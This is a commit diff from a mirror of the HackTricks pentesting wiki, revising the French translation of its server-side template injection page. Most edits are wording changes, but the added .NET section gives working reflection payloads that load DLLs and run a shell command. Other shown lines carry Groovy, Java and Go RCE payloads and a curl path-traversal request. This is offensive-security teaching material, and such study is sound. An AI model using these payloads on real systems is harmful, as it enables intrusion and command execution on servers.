maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-web/ssti-server-side-template-injection/READ

Browse Source
This commit is contained in:
Translator 2025-03-21 09:29:19 +00:00
parent 42751ddeb4
commit 5a6ea2d114
1 changed files with 37 additions and 20 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

57
src/pentesting-web/ssti-server-side-template-injection/README.md
View File

@ -1,12 +1,12 @@
# SSTI (Injection de Modèle Côté Serveur)
# SSTI (Server Side Template Injection)
{{#include ../../banners/hacktricks-training.md}}
## Qu'est-ce que SSTI (Injection de Modèle Côté Serveur)
## Qu'est-ce que SSTI (Server-Side Template Injection)
L'injection de modèle côté serveur est une vulnérabilité qui se produit lorsqu'un attaquant peut injecter du code malveillant dans un modèle qui est exécuté sur le serveur. Cette vulnérabilité peut être trouvée dans diverses technologies, y compris Jinja.
L'injection de template côté serveur est une vulnérabilité qui se produit lorsqu'un attaquant peut injecter du code malveillant dans un template qui est exécuté sur le serveur. Cette vulnérabilité peut être trouvée dans diverses technologies, y compris Jinja.
Jinja est un moteur de modèle populaire utilisé dans les applications web. Considérons un exemple qui démontre un extrait de code vulnérable utilisant Jinja :
Jinja est un moteur de template populaire utilisé dans les applications web. Considérons un exemple qui démontre un extrait de code vulnérable utilisant Jinja :
```python
output = template.render(name=request.args.get('name'))
```
@ -25,8 +25,8 @@ Pour prévenir les vulnérabilités d'injection de template côté serveur, les
Pour détecter l'injection de template côté serveur (SSTI), au départ, **fuzzer le template** est une approche simple. Cela implique d'injecter une séquence de caractères spéciaux (**`${{<%[%'"}}%\`**) dans le template et d'analyser les différences dans la réponse du serveur aux données régulières par rapport à ce payload spécial. Les indicateurs de vulnérabilité incluent :
- Erreurs lancées, révélant la vulnérabilité et potentiellement le moteur de template.
- Absence du payload dans la réflexion, ou des parties manquantes, impliquant que le serveur le traite différemment des données régulières.
- **Contexte en texte clair** : Distinguer de XSS en vérifiant si le serveur évalue les expressions de template (par exemple, `{{7*7}}`, `${7*7}`).
- Absence du payload dans la réflexion, ou parties manquantes, impliquant que le serveur le traite différemment des données régulières.
- **Contexte en texte brut** : Distinguer de XSS en vérifiant si le serveur évalue les expressions de template (par exemple, `{{7*7}}`, `${7*7}`).
- **Contexte de code** : Confirmer la vulnérabilité en modifiant les paramètres d'entrée. Par exemple, changer `greeting` dans `http://vulnerable-website.com/?greeting=data.username` pour voir si la sortie du serveur est dynamique ou fixe, comme dans `greeting=data.username}}hello` retournant le nom d'utilisateur.
#### Phase d'identification
@ -100,7 +100,7 @@ Vous pouvez essayer vos charges utiles sur [https://try.freemarker.apache.org](h
- `{{7*7}} = {{7*7}}`
- `${7*7} = 49`
- `#{7*7} = 49 -- (legacy)`
- `#{7*7} = 49 -- (héritage)`
- `${7*'7'} Rien`
- `${foobar}`
```java
@ -173,7 +173,7 @@ Thymeleaf nécessite que ces expressions soient placées dans des attributs spé
Cependant, la probabilité que cette charge utile fonctionne est généralement faible. La configuration par défaut de Thymeleaf ne prend pas en charge la génération dynamique de templates ; les templates doivent être prédéfinis. Les développeurs devraient implémenter leur propre `TemplateResolver` pour créer des templates à partir de chaînes à la volée, ce qui est peu courant.
Thymeleaf offre également _le prétraitement d'expressions_, où les expressions entourées de doubles underscores (`__...__`) sont prétraitées. Cette fonctionnalité peut être utilisée dans la construction d'expressions, comme démontré dans la documentation de Thymeleaf :
Thymeleaf propose également _le prétraitement d'expressions_, où les expressions entourées de doubles underscores (`__...__`) sont prétraitées. Cette fonctionnalité peut être utilisée dans la construction d'expressions, comme démontré dans la documentation de Thymeleaf :
```java
#{selection.__${sel.code}__}
```
@ -372,11 +372,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
- `${{7*7}}` - 49
- `${{request}}, ${{session}}, {{faceContext}}`
Expression Language (EL) est une fonctionnalité fondamentale qui facilite l'interaction entre la couche de présentation (comme les pages web) et la logique applicative (comme les beans gérés) dans JavaEE. Elle est utilisée de manière extensive à travers plusieurs technologies JavaEE pour rationaliser cette communication. Les principales technologies JavaEE utilisant EL incluent :
Expression Language (EL) est une fonctionnalité fondamentale qui facilite l'interaction entre la couche de présentation (comme les pages web) et la logique applicative (comme les managed beans) dans JavaEE. Elle est utilisée de manière extensive à travers plusieurs technologies JavaEE pour rationaliser cette communication. Les principales technologies JavaEE utilisant EL incluent :
- **JavaServer Faces (JSF)** : Utilise EL pour lier des composants dans les pages JSF aux données et actions correspondantes en backend.
- **JavaServer Pages (JSP)** : EL est utilisé dans JSP pour accéder et manipuler des données au sein des pages JSP, facilitant ainsi la connexion des éléments de la page aux données de l'application.
- **Contexts and Dependency Injection for Java EE (CDI)** : EL s'intègre avec CDI pour permettre une interaction fluide entre la couche web et les beans gérés, garantissant une structure d'application plus cohérente.
- **JavaServer Faces (JSF)** : Utilise EL pour lier les composants dans les pages JSF aux données et actions backend correspondantes.
- **JavaServer Pages (JSP)** : EL est utilisé dans JSP pour accéder et manipuler des données au sein des pages JSP, facilitant ainsi la connexion des éléments de page aux données de l'application.
- **Contexts and Dependency Injection for Java EE (CDI)** : EL s'intègre avec CDI pour permettre une interaction fluide entre la couche web et les managed beans, garantissant une structure d'application plus cohérente.
Consultez la page suivante pour en savoir plus sur l'**exploitation des interprètes EL** :
@ -386,7 +386,7 @@ el-expression-language.md
### Groovy (Java)
Les contournements du Security Manager suivants ont été tirés de cette [**écriture**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
Les contournements du Security Manager suivants ont été tirés de ce [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
```java
//Basic Payload
import groovy.*;
@ -483,7 +483,7 @@ array("first_name" => $user.first_name)
Plates est un moteur de templating natif à PHP, s'inspirant de Twig. Cependant, contrairement à Twig, qui introduit une nouvelle syntaxe, Plates utilise du code PHP natif dans les templates, ce qui le rend intuitif pour les développeurs PHP.
Contrôleur :
Controller:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
@ -629,7 +629,7 @@ Hello {NAME}.<br/>
### Handlebars (NodeJS)
Path Traversal (plus d'infos [ici](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
Traversal de chemin (plus d'infos [ici](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
@ -814,7 +814,7 @@ Consultez la page suivante pour apprendre des astuces sur **le contournement de
[Site officiel](http://jinja.pocoo.org)
> Jinja2 est un moteur de template complet pour Python. Il a un support complet de l'unicode, un environnement d'exécution intégré en sandbox optionnel, largement utilisé et sous licence BSD.
> Jinja2 est un moteur de template complet pour Python. Il a un support unicode complet, un environnement d'exécution intégré en sandbox optionnel, largement utilisé et sous licence BSD.
- `{{7*7}} = Erreur`
- `${7*7} = ${7*7}`
@ -928,6 +928,23 @@ La méthode .NET `System.Diagnostics.Process.Start` peut être utilisée pour d
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
### Contournement des restrictions .Net
Les mécanismes de réflexion .NET peuvent être utilisés pour contourner le blacklistage ou l'absence de classes dans l'assembly. Les DLL peuvent être chargées à l'exécution avec des méthodes et des propriétés accessibles à partir d'objets de base.
Les DLL peuvent être chargées avec :
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - depuis le système de fichiers.
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - directement depuis la requête.
Exécution complète de la commande :
```
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
```
**Plus d'informations**
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
### Mojolicious (Perl)
Même si c'est Perl, il utilise des balises comme ERB en Ruby.
@ -940,23 +957,23 @@ Même si c'est Perl, il utilise des balises comme ERB en Ruby.
```
### SSTI en GO
Dans le moteur de templates de Go, la confirmation de son utilisation peut être faite avec des payloads spécifiques :
Dans le moteur de template de Go, la confirmation de son utilisation peut être faite avec des payloads spécifiques :
- `{{ . }}` : Révèle la structure de données d'entrée. Par exemple, si un objet avec un attribut `Password` est passé, `{{ .Password }}` pourrait l'exposer.
- `{{printf "%s" "ssti" }}` : Devrait afficher la chaîne "ssti".
- `{{html "ssti"}}`, `{{js "ssti"}}` : Ces payloads devraient retourner "ssti" sans ajouter "html" ou "js". D'autres directives peuvent être explorées dans la documentation Go [ici](https://golang.org/pkg/text/template).
- `{{html "ssti"}}`, `{{js "ssti"}}` : Ces payloads devraient retourner "ssti" sans ajouter "html" ou "js". D'autres directives peuvent être explorées dans la documentation de Go [ici](https://golang.org/pkg/text/template).
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
**Exploitation XSS**
Avec le package `text/template`, l'exploitation XSS peut être simple en insérant le payload directement. En revanche, le package `html/template` encode la réponse pour prévenir cela (par exemple, `{{"<script>alert(1)</script>"}}` donne `&lt;script&gt;alert(1)&lt;/script&gt;`). Néanmoins, la définition et l'invocation de templates en Go peuvent contourner cette encodage : \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
Avec le package `text/template`, l'XSS peut être simple en insérant le payload directement. En revanche, le package `html/template` encode la réponse pour prévenir cela (par exemple, `{{"<script>alert(1)</script>"}}` donne `&lt;script&gt;alert(1)&lt;/script&gt;`). Néanmoins, la définition et l'invocation de template en Go peuvent contourner cette encodage : \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
**Exploitation RCE**
L'exploitation RCE diffère considérablement entre `html/template` et `text/template`. Le module `text/template` permet d'appeler directement n'importe quelle fonction publique (en utilisant la valeur "call"), ce qui n'est pas permis dans `html/template`. La documentation pour ces modules est disponible [ici pour html/template](https://golang.org/pkg/html/template/) et [ici pour text/template](https://golang.org/pkg/text/template/).
L'exploitation RCE diffère considérablement entre `html/template` et `text/template`. Le module `text/template` permet d'appeler directement n'importe quelle fonction publique (en utilisant la valeur “call”), ce qui n'est pas permis dans `html/template`. La documentation pour ces modules est disponible [ici pour html/template](https://golang.org/pkg/html/template/) et [ici pour text/template](https://golang.org/pkg/text/template/).
Pour RCE via SSTI en Go, les méthodes d'objet peuvent être invoquées. Par exemple, si l'objet fourni a une méthode `System` exécutant des commandes, il peut être exploité comme `{{ .System "ls" }}`. Accéder au code source est généralement nécessaire pour exploiter cela, comme dans l'exemple donné :
```go